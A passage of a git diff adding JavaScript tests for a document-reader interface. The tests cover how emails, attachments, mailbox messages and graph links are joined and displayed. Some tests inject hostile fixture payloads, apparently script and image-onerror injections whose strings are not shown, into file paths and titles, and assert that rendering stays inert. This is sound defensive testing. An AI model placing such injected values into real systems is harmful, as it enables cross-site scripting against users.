file-level detectors (same_dir, mdlink, pathcite) link the FILE records.+import test from 'node:test';+import assert from 'node:assert/strict';+import { makeReaderApi } from '../src/data/reader-api.js';+import { detectShape, renderRecord, renderGraphPanel, shapeBadge, recordTitle } from '../src/ux/reader-render.js';+import { findAll, textOf } from '../src/ux/safe-dom.js';+import { assertInert } from './fixtures/inert.mjs';+import { PAYLOADS } from './fixtures/hostile.mjs';++const AF = 'axf2-62965698abafaaee54016c8a0d33d97c-9ebe6';+const fileRec = { _index: 'ax-docs', _id: 'file-05', _source: { title: '05.eml', ax_path: `inbox/05${PAYLOADS.imgOnerror}.eml`, ax_file: AF, ax_locator: 'file', ax_format: 'eml', ax_dataset: 'docs' } };+const msg = { _index: 'ax-docs', _id: 'msg-05', _source: { email_subject: 'Overdue invoice', email_from: '[email protected]', email_message_id: '[email protected]', body: 'pay now', ax_file: AF, ax_locator: 'msg-s0', ax_format: 'eml' } };+const att = (p, sec = 0) => ({ _index: 'ax-docs', _id: `att-p${p}-s${sec}`, _source: { attachment_name: 'brief.pdf', page: p, body: `page ${p}`, email_message_id: '[email protected]', ax_file: AF, ax_locator: `att0-p${p}-s${sec}` } });+const DOCS = [fileRec, msg, att(10), att(2), att(1), att(3, 1), att(3, 0)];++/** A transport that answers the reader's own queries over DOCS. */+function transport({ egoByNode = {}, guest = false } = {}) {+ const calls = [];+ return {+ calls, guest, brain: guest ? 'casefile' : undefined,+ async search(index, body) {+ calls.push(body);+ const f = body.query.bool ? body.query.bool.filter || [] : [];+ const not = body.query.bool ? body.query.bool.must_not || [] : [];+ const match = (d, c) => (c.term ? Object.entries(c.term).every(([k, v]) => d._source[k] === v) : c.exists ? d._source[c.exists.field] != null : true);+ let hits = body.query.ids ? DOCS.filter((d) => body.query.ids.values.includes(d._id)) : DOCS.filter((d) => f.every((c) => match(d, c)) && !not.some((c) => match(d, c)));+ hits = hits.slice(0, body.size ?? 10);+ return { hits: { total: { value: hits.length }, hits } };+ },+ async ego(brain, params) {+ calls.push({ ego: params.node });+ const body = egoByNode[params.node];+ return body ? { status: 200, body } : { status: 200, body: { edges: [], nodes: {}, not_shown: {} } };+ },+ };+}++test('the file record is its own shape and lists what came out of the file, in reading order', async () => {+ assert.equal(detectShape(fileRec._source), 'file');+ assert.equal(detectShape({ ax_locator: 'file', ax_file: 'x', body: 'a note that is its own file node' }), 'note', 'a file record WITH text is shown as that text');+ assert.match(shapeBadge('file', fileRec._source), /^FILE · EML$/);+ const api = makeReaderApi(transport());+ const rel = await api.fetchRelated(fileRec);+ assert.deepEqual(rel.siblings.map((h) => h._id), ['msg-05', 'att-p1-s0', 'att-p2-s0', 'att-p3-s0', 'att-p3-s1', 'att-p10-s0'], 'message first, then pages numerically (10 after 3)');+ assert.ok(!rel.siblings.some((h) => h._id === 'file-05'));+ const tree = renderRecord(fileRec, { related: rel });+ assertInert(tree, 'file record');+ assert.ok(textOf(tree).includes('RECORDS IN THIS FILE · 6'));+ assert.ok(textOf(tree).includes(PAYLOADS.imgOnerror), 'a hostile PATH is text');+ assert.equal(findAll(tree, (n) => n.tag === 'a').length, 6);+ assert.equal(recordTitle(fileRec._source, 'x'), fileRec._source.ax_path);+ assert.ok(textOf(renderRecord(fileRec, { related: {} })).includes('looking…'));+});++test('any other record links UP to its file', async () => {+ const api = makeReaderApi(transport());+ const rel = await api.fetchRelated(msg);+ assert.equal(rel.fileRecord._id, 'file-05');+ assert.deepEqual(rel.attachments.map((a) => a._id), ['att-p1-s0'], 'one entry per attachment, at its lowest page');+ const tree = renderRecord(msg, { related: rel });+ assertInert(tree);+ assert.ok(textOf(tree).includes('FROM FILE'));+ const relAtt = await api.fetchRelated(att(2));+ assert.equal(relAtt.fileRecord._id, 'file-05');+ assert.equal(relAtt.parent._id, 'msg-05');+});++test('the graph panel of an email includes its FILE\'s links, and says so', async () => {+ const egoByNode = {+ 'msg-05': { edges: [], nodes: {}, not_shown: { dangling_ids: [] } },+ 'file-05': {+ edges: [+ { src: 'file-04', dst: 'file-05', type: 'same_dir', hop: 1, edge_id: 'e1' },+ { src: 'file-05', dst: 'file-06', type: 'same_dir', hop: 1, edge_id: 'e2' },+ { src: 'file-05', dst: 'msg-05', type: 'same_dir', hop: 1, edge_id: 'self' },+ ],+ nodes: { 'file-04': { index: 'ax-docs', title: '04.eml' }, 'file-06': { index: 'ax-docs', title: PAYLOADS.script } },+ not_shown: {},+ },+ };+ const t = transport({ egoByNode });+ const api = makeReaderApi(t);+ const g = await api.fetchGraph('casefile', msg, fileRec);+ assert.equal(g.status, 'ok');+ assert.equal(g.viaFile, 2);+ assert.deepEqual(g.groups[0].items.map((i) => `${i.id}:${i.via}`).sort(), ['file-04:file', 'file-06:file'], 'the record itself is never its own neighbour');+ assert.deepEqual(t.calls.filter((c) => c.ego).map((c) => c.ego), ['msg-05', 'file-05']);+ const panel = renderGraphPanel({ ...g, brain: 'casefile', index: 'ax-docs' });+ assertInert(panel, 'merged graph');+ assert.match(textOf(panel), /2 linked records · brain casefile · 1 hop · 2 of them are links of the file this record came from/);++ // same neighbours, edges listed the other way round → the same panel+ const flipped = { ...egoByNode, 'file-05': { ...egoByNode['file-05'], edges: [...egoByNode['file-05'].edges].reverse() } };+ const g2 = await makeReaderApi(transport({ egoByNode: flipped })).fetchGraph('casefile', msg, fileRec);+ assert.deepEqual(g2.groups[0].items.map((i) => i.id), g.groups[0].items.map((i) => i.id), 'neighbour order does not depend on edge order');++ // the file record itself: one walk, nothing marked+ const own = await api.fetchGraph('casefile', fileRec, null);+ assert.equal(own.viaFile, undefined);+ assert.equal(own.groups[0].items.length, 3);+ // no file record known → exactly the record's own answer+ assert.equal((await api.fetchGraph('casefile', msg, null)).status, 'no-links');+});++test('a refused graph is asked for ONCE — not again through the file', async () => {+ const t = transport();+ t.ego = async (b, params) => { t.calls.push({ ego: params.node, nodes: params.include_nodes }); return { status: 403, body: null }; };+ const g = await makeReaderApi(t).fetchGraph('casefile', msg, fileRec);+ assert.equal(g.status, 'denied');+ assert.deepEqual(t.calls.filter((c) => c.ego).map((c) => c.ego), ['msg-05', 'msg-05'], 'one retry without node summaries, then stop');+});++test('two brains over one index: every brain that lists the index is walked, the links are merged, and the panel names them all', async () => {+ // PR #945 review: `xerj brain casefile` then `xerj brain vendors` on one node+ // → both brains list `ax-docs`; each holds links only for its own files.+ // The reader used to ask the FIRST brain `_cat` listed and say "records no+ // links for this record" for the other brain's files.+ const egoByBrain = {+ vendors: { 'file-05': { edges: [], nodes: {}, not_shown: {} } },+ casefile: { 'file-05': { edges: [{ src: 'file-05', dst: 'file-06', type: 'same_dir', hop: 1, edge_id: 'e1' }], nodes: { 'file-06': { index: 'ax-docs', title: '06.eml' } }, not_shown: { dangling_nodes: 1 } } },+ third: { 'file-05': { edges: [{ src: 'file-07', dst: 'file-05', type: 'mdlink', hop: 1, edge_id: 'e2' }, { src: 'file-05', dst: 'file-06', type: 'same_dir', hop: 1, edge_id: 'dup' }], nodes: { 'file-07': { index: 'ax-docs', title: 'deal.md' } }, not_shown: {} } },+ };+ const t = transport();+ t.discoverBrains = async (index) => (index === 'ax-docs' ? ['vendors', 'casefile', 'third'] : []);+ t.ego = async (brain, params) => { t.calls.push({ ego: params.node, brain }); const b = (egoByBrain[brain] || {})[params.node]; return b ? { status: 200, body: b } : { status: 200, body: { edges: [], nodes: {}, not_shown: {} } }; };+ const api = makeReaderApi(t);+ assert.deepEqual(await api.resolveBrains('ax-docs', null), ['vendors', 'casefile', 'third']);+ assert.deepEqual(await api.resolveBrains('ax-docs', 'only-this'), ['only-this'], 'an explicit hint is walked alone');+ assert.equal(await api.resolveBrain('ax-docs', null), 'vendors');+ const g = await api.fetchGraph(['vendors', 'casefile', 'third'], fileRec, null);+ assert.equal(g.status, 'ok');+ assert.deepEqual(g.brains, ['vendors', 'casefile', 'third']);+ assert.deepEqual(g.brainsWithLinks, ['casefile', 'third']);+ assert.deepEqual(t.calls.filter((c) => c.ego).map((c) => c.brain), ['vendors', 'casefile', 'third'], 'each candidate asked once');+ assert.deepEqual(g.groups.map((x) => [x.type, x.items.map((i) => `${i.id}@${i.brain}`)]), [['same_dir', ['file-06@casefile']], ['mdlink', ['file-07@third']]], 'a duplicate link from a later brain is not listed twice');+ assert.deepEqual(g.notShown, { dangling_nodes: 1 });+ const panel = renderGraphPanel({ ...g, index: 'ax-docs' });+ assertInert(panel, 'merged brains');+ assert.match(textOf(panel), /2 linked records · brains vendors, casefile, third consulted · links in casefile, third · 1 hop · 1 link to ids with no document behind them/);+ assert.deepEqual(findAll(panel, (n) => n.tag === 'a').map((a) => a.attrs.href), ['#/reader?index=ax-docs&id=file-06&brain=casefile', '#/reader?index=ax-docs&id=file-07&brain=third'], 'each neighbour links into the brain its link came from');++ // no links anywhere: the panel says which brains were asked+ const none = await api.fetchGraph(['vendors', 'nolinks'], { _index: 'ax-docs', _id: 'msg-05', _source: {} }, null);+ assert.equal(none.status, 'no-links');+ assert.deepEqual(none.brains, ['vendors', 'nolinks']);+ assert.match(textOf(renderGraphPanel({ ...none, index: 'ax-docs' })), /^Brains vendors, nolinks record no links for this record\.$/);+ // one brain: exactly the single-brain answer, named+ const one = await api.fetchGraph(['casefile'], fileRec, null);+ assert.deepEqual([one.status, one.brain, one.brains, one.viaFile], ['ok', 'casefile', ['casefile'], undefined]);+ assert.match(textOf(renderGraphPanel({ ...one, index: 'ax-docs' })), /1 linked record · brain casefile · 1 hop/);+ // the walk is bounded+ assert.equal((await api.fetchGraph(['a', 'b', 'c', 'd', 'e', 'f'], fileRec, null)).brains.length, 4);+ // a guest walks the share's brain only, whatever the transport could discover+ const gt = transport({ guest: true });+ gt.discoverBrains = async () => ['casefile', 'vendors'];+ assert.deepEqual(await makeReaderApi(gt).resolveBrains('ax-docs', 'ignored-hint'), ['casefile']);+});diff --git a/xerj-ux/test/reader-attachments.test.mjs b/xerj-ux/test/reader-attachments.test.mjsnew file mode 100644index 000000000..71d89c644--- /dev/null+++ b/xerj-ux/test/reader-attachments.test.mjs@@ -0,0 +1,266 @@+// data/reader-api.js#fetchRelated — an email's attachment list, and an+// attachment's parent. Run: node --test xerj-ux/test/+//+// Every corpus below is the shape a real `xerj brain` run wrote for the review+// of PR #945 (live node, 2026-09-19): autoindex's EML extractor emits+// `msg-s<i>` for the message, and per attachment N `att<N>-s<i>` (text),+// `att<N>-p<page>-s<i>` (a PDF, one record per page section) or `att<N>-card`+// (no extractable text); every record of one .eml shares its `ax_file`; and+// `email_message_id` is stamped only when the message HAS a Message-ID header.+import test from 'node:test';+import assert from 'node:assert/strict';+import { makeReaderApi, ATTACHMENT_RECORDS_READ } from '../src/data/reader-api.js';+import { renderRecord } from '../src/ux/reader-render.js';+import { findAll, textOf } from '../src/ux/safe-dom.js';+import { assertInert } from './fixtures/inert.mjs';+import { miniTransport } from './fixtures/mini-engine.mjs';++const I = 'ax-docs';+const rec = (id, src) => ({ _index: I, _id: id, _source: src });+/** One .eml as autoindex writes it. `atts`: [{ name, pages? , card? }] */+function eml(tag, { mid, subject = tag, atts = [] } = {}) {+ const ax_file = `axf2-${tag}`;+ const base = { ax_file, ax_path: `inbox/${tag}.eml`, ax_format: 'eml' };+ const hdr = { email_subject: subject, email_from: '[email protected]', ...(mid ? { email_message_id: mid } : {}) };+ const out = [+ rec(`${tag}-file`, { ...base, ax_locator: 'file', title: `${tag}.eml` }),+ rec(`${tag}-msg`, { ...base, ...hdr, ax_locator: 'msg-s0', title: subject, body: `body of ${tag}` }),+ ];+ atts.forEach((a, n) => {+ const link = { ...base, ...hdr, attachment_name: a.name, attachment_content_type: a.pages ? 'application/pdf' : 'text/plain', attachment_bytes: 1000 + n };+ if (a.pages) for (let p = 1; p <= a.pages; p++) out.push(rec(`${tag}-att${n}-p${p}`, { ...link, ax_locator: `att${n}-p${p}-s0`, page: p, body: `${a.name} page ${p}`, body_vector: [0.1, 0.2] }));+ else if (a.card) out.push(rec(`${tag}-att${n}-card`, { ...link, ax_locator: `att${n}-card` }));+ else out.push(rec(`${tag}-att${n}`, { ...link, ax_locator: `att${n}-s0`, body: `${a.name} text` }));+ });+ return out;+}+const byId = (docs, id) => docs.find((d) => d._id === id);+/** One MAILBOX as autoindex writes it once PR #949 (mbox / Google Takeout+ * ingest) is in: ONE file record, and every message's records namespaced by+ * the message's byte offset — `m<offset>-msg-s0`, `m<offset>-att<N>-p<page>-s0`+ * (extract/mbox.rs#emit_raw_message) — all sharing the mailbox's `ax_file`.+ * `msgs`: [{ offset, subject, mid?, sections?, atts: [{ name, pages? }] }] */+function mailbox(tag, msgs) {+ const ax_file = `axf2-${tag}`;+ const base = { ax_file, ax_path: `Takeout/Mail/${tag}.mbox`, ax_format: 'mbox' };+ const out = [rec(`${tag}-file`, { ...base, ax_locator: 'file', title: `${tag}.mbox` })];+ for (const m of msgs) {+ const pre = `m${m.offset}-`;+ const hdr = { email_subject: m.subject, email_from: '[email protected]', ...(m.mid ? { email_message_id: m.mid } : {}) };+ for (let i = 0; i < (m.sections || 1); i++) out.push(rec(`${tag}-${m.offset}-msg-s${i}`, { ...base, ...hdr, ax_locator: `${pre}msg-s${i}`, title: m.subject, body: `section ${i} of ${m.subject}` }));+ (m.atts || []).forEach((a, n) => {+ const link = { ...base, ...hdr, attachment_name: a.name, attachment_content_type: a.pages ? 'application/pdf' : 'text/plain' };+ if (a.pages) for (let p = 1; p <= a.pages; p++) out.push(rec(`${tag}-${m.offset}-att${n}-p${p}`, { ...link, ax_locator: `${pre}att${n}-p${p}-s0`, page: p, body: `${a.name} page ${p}` }));+ else out.push(rec(`${tag}-${m.offset}-att${n}`, { ...link, ax_locator: `${pre}att${n}-s0`, body: `${a.name} text` }));+ });+ }+ return out;+}++test('BLOCKER (PR #945 review): an email with a 300-page PDF and a trailing text file lists BOTH attachments', async () => {+ // Live truth: inbox/06-bigpdf.eml → 303 records, att=[('aaa-big.pdf',300),('zzz-last.txt',1)].+ // The reader fetched 200 attachment records, all of them pages of the PDF,+ // showed "ATTACHMENTS · 1" and said nothing about the rest.+ const docs = eml('06-bigpdf', { mid: '[email protected]', atts: [{ name: 'aaa-big.pdf', pages: 300 }, { name: 'zzz-last.txt' }] });+ const t = miniTransport(docs);+ const rel = await makeReaderApi(t).fetchRelated(byId(docs, '06-bigpdf-msg'));+ assert.deepEqual(rel.attachments.map((a) => `${a._source.attachment_name}@${a._id}`), ['aaa-big.pdf@06-bigpdf-att0-p1', 'zzz-last.txt@06-bigpdf-att1'], 'every attachment, in the order the email carries them, the PDF at its lowest page');+ assert.equal(rel.attachmentsTruncated, null, '301 records were all read: nothing is missing, so nothing is claimed missing');+ // The join asks for the few fields a list entry shows — never 300 page bodies and their vectors.+ const join = t.calls.find((b) => JSON.stringify(b.query).includes('"exists":{"field":"attachment_name"}') && !JSON.stringify(b.query).includes('must_not'));+ assert.ok(Array.isArray(join._source) && !join._source.includes('body'), 'light _source');+ assert.ok(!rel.attachments.some((a) => 'body_vector' in a._source));+ const tree = renderRecord(byId(docs, '06-bigpdf-msg'), { related: rel });+ assertInert(tree);+ assert.ok(textOf(tree).includes('ATTACHMENTS · 2'));+ assert.ok(textOf(tree).includes('zzz-last.txt'));+});++test('BLOCKER: two attachments with the SAME file name are two entries, each opening its own record', async () => {+ // Live truth: inbox/04-samename.eml → att0-p1-s0 scan.pdf ("firstscan…") and att1-p1-s0 scan.pdf ("secondscan…").+ const docs = eml('04-samename', { mid: '[email protected]', atts: [{ name: 'scan.pdf', pages: 2 }, { name: 'scan.pdf', pages: 1 }] });+ const rel = await makeReaderApi(miniTransport(docs)).fetchRelated(byId(docs, '04-samename-msg'));+ assert.deepEqual(rel.attachments.map((a) => a._id), ['04-samename-att0-p1', '04-samename-att1-p1']);+ const tree = renderRecord(byId(docs, '04-samename-msg'), { related: rel });+ assert.ok(textOf(tree).includes('ATTACHMENTS · 2'));+ const links = findAll(tree, (n) => n.tag === 'a' && n.attrs['data-reader-open'] && String(n.attrs.class).includes('rd-att')).map((n) => n.attrs['data-reader-open']);+ assert.deepEqual(links.filter((id) => id.includes('-att')), ['04-samename-att0-p1', '04-samename-att1-p1']);+});++test('MAJOR: an email WITHOUT a Message-ID still lists its attachments, and they link back to it', async () => {+ // Live truth: inbox/02-nomid.eml → 5 records, att=[('nomid.pdf',2),('nomid-notes.txt',1)], mid=[].+ const docs = [+ ...eml('02-nomid', { atts: [{ name: 'nomid-notes.txt' }, { name: 'nomid.pdf', pages: 2 }] }),+ ...eml('01-other', { atts: [{ name: 'other.txt' }] }), // another id-less email: must not be pooled+ ];+ const api = makeReaderApi(miniTransport(docs));+ const msg = byId(docs, '02-nomid-msg');+ assert.equal(msg._source.email_message_id, undefined);+ const rel = await api.fetchRelated(msg);+ assert.deepEqual(rel.attachments.map((a) => a._id), ['02-nomid-att0', '02-nomid-att1-p1']);+ const up = await api.fetchRelated(byId(docs, '02-nomid-att1-p2'));+ assert.equal(up.parent && up.parent._id, '02-nomid-msg', 'FROM EMAIL works without a Message-ID');+ assert.equal(up.fileRecord._id, '02-nomid-file');+});++test('MAJOR: two files with the SAME Message-ID do not pool their attachments', async () => {+ // Live truth: inbox/03-dup.eml and archive/03-dup.eml share <[email protected]>;+ // each has ONE attachment. The inbox copy listed both.+ const inbox = eml('03-dup-inbox', { mid: '[email protected]', atts: [{ name: 'inbox-only.txt' }] });+ const archive = eml('03-dup-archive', { mid: '[email protected]', atts: [{ name: 'archive-only.txt' }] });+ const docs = [...inbox, ...archive];+ const api = makeReaderApi(miniTransport(docs));+ assert.deepEqual((await api.fetchRelated(byId(docs, '03-dup-inbox-msg'))).attachments.map((a) => a._source.attachment_name), ['inbox-only.txt']);+ assert.deepEqual((await api.fetchRelated(byId(docs, '03-dup-archive-msg'))).attachments.map((a) => a._source.attachment_name), ['archive-only.txt']);+ assert.equal((await api.fetchRelated(byId(docs, '03-dup-archive-att0'))).parent._id, '03-dup-archive-msg', 'an attachment\'s parent is the message in ITS file');+});++test('records that carry no ax_file (not written by autoindex) still join on email_message_id, keyed by name', async () => {+ const docs = [+ rec('e', { email_subject: 's', email_message_id: 'm@x', body: 'b' }),+ rec('big-3', { attachment_name: 'big.pdf', page: 3, email_message_id: 'm@x' }),+ rec('big-1', { attachment_name: 'big.pdf', page: 1, email_message_id: 'm@x' }),+ rec('img', { attachment_name: 'logo.png', email_message_id: 'm@x' }),+ rec('else', { attachment_name: 'x.txt', email_message_id: 'other@x' }),+ ];+ const api = makeReaderApi(miniTransport(docs));+ assert.deepEqual((await api.fetchRelated(byId(docs, 'e'))).attachments.map((a) => a._id), ['big-1', 'img']);+ assert.equal((await api.fetchRelated(byId(docs, 'big-3'))).parent._id, 'e');+ assert.deepEqual((await api.fetchRelated(rec('lonely', { email_subject: 'no id, no file' }))).attachments, []);+});++test('whatever cap remains is SAID: past the read limit the list is marked incomplete, with the numbers', async () => {+ const pages = ATTACHMENT_RECORDS_READ + 40;+ const docs = eml('huge', { mid: 'h@x', atts: [{ name: 'huge.pdf', pages }, { name: 'after-the-cap.txt' }] });+ const t = miniTransport(docs);+ const rel = await makeReaderApi(t).fetchRelated(byId(docs, 'huge-msg'));+ assert.deepEqual(rel.attachmentsTruncated, { read: ATTACHMENT_RECORDS_READ, total: pages + 1 });+ assert.ok(rel.attachments.length >= 1);+ const tree = renderRecord(byId(docs, 'huge-msg'), { related: rel });+ assertInert(tree);+ assert.match(textOf(tree), /ATTACHMENTS · \d+\+/);+ assert.ok(textOf(tree).includes(`${pages + 1}`) && /not listed/.test(textOf(tree)), 'says how many records exist and that some attachments may be missing');+ // and the view state keeps it: reader-view.js used to copy four named keys and drop `truncated`+ const { relatedForView } = await import('../src/ux/reader-view.js');+ assert.deepEqual(relatedForView(rel, byId(docs, 'huge-msg')).attachmentsTruncated, rel.attachmentsTruncated);+});++test('a failing join is not an empty list: the email says its attachments could not be read', async () => {+ const docs = eml('05', { mid: '5@x', atts: [{ name: 'a.txt' }] });+ const t = miniTransport(docs);+ const inner = t.search;+ t.search = async (index, body) => { if (JSON.stringify(body.query).includes('attachment_name') && body._source) throw Object.assign(new Error('x'), { kind: 'network' }); return inner(index, body); };+ const rel = await makeReaderApi(t).fetchRelated(byId(docs, '05-msg'));+ assert.deepEqual(rel.attachments, []);+ assert.equal(rel.attachmentsError, 'engine unreachable');+ assert.ok(textOf(renderRecord(byId(docs, '05-msg'), { related: rel })).includes('could not be read'));+});++test('search(): TERM / RANGE free text sends NOTHING and says why; a sample query\'s own field is searched; `size` is passed', async () => {+ const sent = [];+ const t = {+ guest: false,+ async mapping() { return { [I]: { mappings: { properties: { body: { type: 'text' }, text: { type: 'semantic_text' }, email_subject: { type: 'keyword' }, ax_path: { type: 'keyword' } } } } }; },+ async search(index, body) { sent.push(body); return { took: 3, hits: { total: { value: 0 }, hits: [] } }; },+ };+ const api = makeReaderApi(t);+ // PR #945 review: TERM `zebrafish` answered "361 RESULTS" — the whole index, via match_all.+ const refused = await api.search(I, { q: 'zebrafish', type: 'term' });+ assert.deepEqual([refused.hits, refused.total, sent.length], [[], 0, 0]);+ assert.match(refused.hint, /TERM needs field=value/);+ assert.match((await api.search(I, { q: 'hello', type: 'range' })).hint, /RANGE needs/);+ assert.equal(sent.length, 0, 'not one request was made for either');+ await api.search(I, { q: 'ax_path=a/b', type: 'term' });+ assert.deepEqual(sent.at(-1).query, { term: { ax_path: 'a/b' } });+ // every text field, then the sample's field when it is not already among them+ const r = await api.search(I, { q: 'makefiletargetword', type: 'match', size: 50 });+ assert.deepEqual(r.fields, ['body', 'text', 'email_subject']);+ assert.equal(sent.at(-1).size, 50);+ assert.deepEqual(Object.keys(sent.at(-1).highlight.fields), ['body', 'text', 'email_subject']);+ const viaSample = await api.search(I, { q: 'inbox', type: 'match', field: 'ax_path' });+ assert.deepEqual(viaSample.fields, ['body', 'text', 'email_subject', 'ax_path']);+ assert.deepEqual(sent.at(-1).query.bool.should.at(-1), { wildcard: { ax_path: { value: '*inbox*', case_insensitive: true } } });+});++test('minor (PR #945 review): the OPERATOR transport names a dead engine "engine unreachable" — not the browser\'s "Failed to fetch"', async () => {+ const { makeConsoleTransport } = await import('../src/data/transport-console.js');+ const realFetch = globalThis.fetch;+ globalThis.fetch = async () => { throw new TypeError('Failed to fetch'); };+ try {+ const api = makeReaderApi(makeConsoleTransport());+ const r = await api.search(I, { q: 'x' });+ assert.deepEqual([r.hits, r.error, r.kind], [[], 'engine unreachable', 'network']);+ const rec = await api.fetchRecord(I, 'abc');+ assert.deepEqual([rec.hit, rec.error], [null, 'engine unreachable']);+ assert.equal((await api.fetchGraph('b', { _id: 'x', _index: I, _source: {} }, null)).error, 'engine unreachable');+ // an aborted request is still an abort, not a network error+ globalThis.fetch = async () => { throw Object.assign(new Error('aborted'), { name: 'AbortError' }); };+ await assert.rejects(() => makeConsoleTransport().search(I, {}), { name: 'AbortError' });+ } finally { globalThis.fetch = realFetch; }+});++test('the guest card counts one email per MESSAGE — with or without a Message-ID, however many sections, .eml or mailbox', async () => {+ // Live, PR #945 review corpus: 9 emails, one without a Message-ID header. The+ // card said "emails 8": it counted `email_message_id`. miniSearch has no aggs,+ // so this pins the filter and evaluates it with the same clause matcher.+ const docs = [+ ...eml('a', { mid: 'a@x', atts: [{ name: 'a.pdf', pages: 3 }] }),+ ...eml('no-id'),+ rec('a-msg-s1', { ax_file: 'axf2-a', ax_locator: 'msg-s1', email_subject: 'a', email_message_id: 'a@x', body: 'second section of a long email' }),+ rec('foreign', { email_subject: 'not from autoindex', email_message_id: 'f@x', body: 'b' }),+ // a mailbox (PR #949): two messages, the second long, one attachment+ ...mailbox('inbox', [{ offset: 0, subject: 'first', mid: 'm1@x' }, { offset: 4711, subject: 'second', sections: 2, atts: [{ name: 's.pdf', pages: 2 }] }]),+ rec('inbox-raw', { ax_file: 'axf2-inbox', ax_locator: 'm9000-raw-s0', title: '(unparseable message)', body: 'garbage' }),+ ];+ // miniSearch has no aggs: the aggregation request is answered empty, the+ // email-count QUERY is evaluated by the same clause matcher.+ const t = miniTransport(docs);+ const inner = t.search;+ t.search = async (index, body) => (body.aggs ? { hits: { total: { value: docs.length }, hits: [] }, aggregations: {} } : inner(index, body));+ const summary = await makeReaderApi(t).indexSummary(I);+ assert.equal(summary.emails, 5);+ const { miniSearch } = await import('./fixtures/mini-engine.mjs');+ const { EMAIL_MESSAGE_QUERY } = await import('../src/data/reader-api.js');+ const counted = miniSearch(docs, { query: EMAIL_MESSAGE_QUERY, size: 100 }).hits.hits.map((h) => h._id).sort();+ assert.deepEqual(counted, ['a-msg', 'foreign', 'inbox-0-msg-s0', 'inbox-4711-msg-s0', 'no-id-msg']);+ // …and it is a QUERY, never a filter aggregation: the engine's filter+ // aggregation counts a wildcard with an inner `*` as 0 (#959).+ assert.ok(!t.calls.some((b) => JSON.stringify(b.aggs || {}).includes('wildcard')));+});++test('PR #949 interplay: inside a MAILBOX (one ax_file, many messages) each email lists only its own attachments, and an attachment finds its own email', async () => {+ // Joined on ax_file alone, every message of a Takeout mailbox shares one+ // file: the first email would list the attachments of all of them, and every+ // attachment's FROM EMAIL would be the mailbox's first message.+ const docs = mailbox('takeout', [+ { offset: 0, subject: 'no attachments here', mid: 'a@x' },+ { offset: 812, subject: 'the contract', mid: 'b@x', atts: [{ name: 'contract.pdf', pages: 3 }, { name: 'notes.txt' }] },+ { offset: 9120, subject: 'the invoice', atts: [{ name: 'invoice.pdf', pages: 2 }] },+ { offset: 91205, subject: 'offset shares a prefix with 9120', atts: [{ name: 'other.pdf', pages: 1 }] },+ ]);+ const api = makeReaderApi(miniTransport(docs));+ const names = async (id) => (await api.fetchRelated(byId(docs, id))).attachments.map((a) => `${a._source.attachment_name}@${a._id}`);+ assert.deepEqual(await names('takeout-0-msg-s0'), [], 'a message without attachments lists none — not its neighbours\'');+ assert.deepEqual(await names('takeout-812-msg-s0'), ['contract.pdf@takeout-812-att0-p1', 'notes.txt@takeout-812-att1']);+ assert.deepEqual(await names('takeout-9120-msg-s0'), ['invoice.pdf@takeout-9120-att0-p1'], '`m9120-` must not match `m91205-`');+ const up = await api.fetchRelated(byId(docs, 'takeout-9120-att0-p2'));+ assert.equal(up.parent && up.parent._id, 'takeout-9120-msg-s0', 'FROM EMAIL is the message the attachment came with');+ assert.equal(up.fileRecord._id, 'takeout-file');+ assert.equal((await api.fetchRelated(byId(docs, 'takeout-812-att1'))).parent._id, 'takeout-812-msg-s0');+ // the .eml join is unchanged: `att` / `msg-` prefixes with no message part+ const e = eml('plain', { atts: [{ name: 'x.txt' }] });+ const eApi = makeReaderApi(miniTransport(e));+ assert.deepEqual((await eApi.fetchRelated(byId(e, 'plain-msg'))).attachments.map((a) => a._id), ['plain-att0']);+ assert.equal((await eApi.fetchRelated(byId(e, 'plain-att0'))).parent._id, 'plain-msg');+});++test('locatorParts reads every locator autoindex writes, and nothing else', async () => {+ const { locatorParts } = await import('../src/data/reader-api.js');+ assert.deepEqual(locatorParts('msg-s0'), { message: '', part: 'msg', ordinal: null });+ assert.deepEqual(locatorParts('att3-p12-s1'), { message: '', part: 'att', ordinal: 3 });+ assert.deepEqual(locatorParts('att0-card'), { message: '', part: 'att', ordinal: 0 });+ assert.deepEqual(locatorParts('m1073777879-att2-p3-s1'), { message: 'm1073777879-', part: 'att', ordinal: 2 });+ assert.deepEqual(locatorParts('m0-msg-s0'), { message: 'm0-', part: 'msg', ordinal: null });+ assert.deepEqual(locatorParts('m18-raw-s0'), { message: 'm18-', part: 'raw', ordinal: null });+ for (const other of ['file', 's12', '', null, undefined, 'message-s0', 'attx-s0', 'm-msg-s0', 'mx1-msg-s0', 'msgs-s0']) assert.equal(locatorParts(other), null, String(other));+});diff --git a/xerj-ux/test/reader-render.test.mjs b/xerj-ux/test/reader-render.test.mjsnew file mode 100644index 000000000..39a956173--- /dev/null+++ b/xerj-ux/test/reader-render.test.mjs@@ -0,0 +1,169 @@+// ux/reader-render.js + ux/corpus-render.js — hostile documents in, inert+// node trees out. Run: node --test xerj-ux/test/+import test from 'node:test';+import assert from 'node:assert/strict';+import {+ detectShape, recordTitle, renderResultCard, renderResultList, renderRecord, renderGraphPanel,+ groupNeighbors, readerHref, edgeLabel, SHAPES,+} from '../src/ux/reader-render.js';+import { renderCorpus, renderCorpusCard, renderSummaryCard, renderCorpusEmpty, EMPTY_COMMAND } from '../src/ux/corpus-render.js';+import { parseCatalogHits, sampleQueryToSearch } from '../src/data/catalog.js';+import { findAll, textOf } from '../src/ux/safe-dom.js';+import {+ PAYLOADS, HOSTILE_HITS, HOSTILE_ID, hostileEmail, hostileAttachment, hostileAttachment2, hostilePdf, hostileCode,+ hostileGeneric, hostileEgo, hostileCatalogHit,+} from './fixtures/hostile.mjs';+import { assertInert, assertShownAsText } from './fixtures/inert.mjs';++test('every record shape renders inert, and shows the hostile text as text', () => {+ const seen = new Set();+ for (const hit of HOSTILE_HITS) {+ const shape = detectShape(hit._source);+ seen.add(shape);+ const related = { attachments: [hostileAttachment, hostileAttachment2], parent: hostileEmail };+ const rec = renderRecord(hit, { related, brain: 'inbox' });+ assertInert(rec, `record:${shape}`);+ const card = renderResultCard(hit, { selectedId: hit._id, brain: 'inbox' });+ assertInert(card, `card:${shape}`);+ // ids travel in attributes and in the reader link, verbatim / encoded.+ assert.equal(card.attrs['data-reader-open'], String(hit._id));+ const qs = new URLSearchParams(card.attrs.href.slice(card.attrs.href.indexOf('?') + 1));+ assert.equal(qs.get('id'), String(hit._id), 'the id round-trips through the hash route');+ assert.equal(qs.get('index'), hit._index);+ }+ assert.deepEqual([...seen].sort(), ['attachment', 'code-symbol', 'email', 'file', 'generic', 'pdf']);+ for (const s of seen) assert.ok(SHAPES.includes(s));+});++test('an 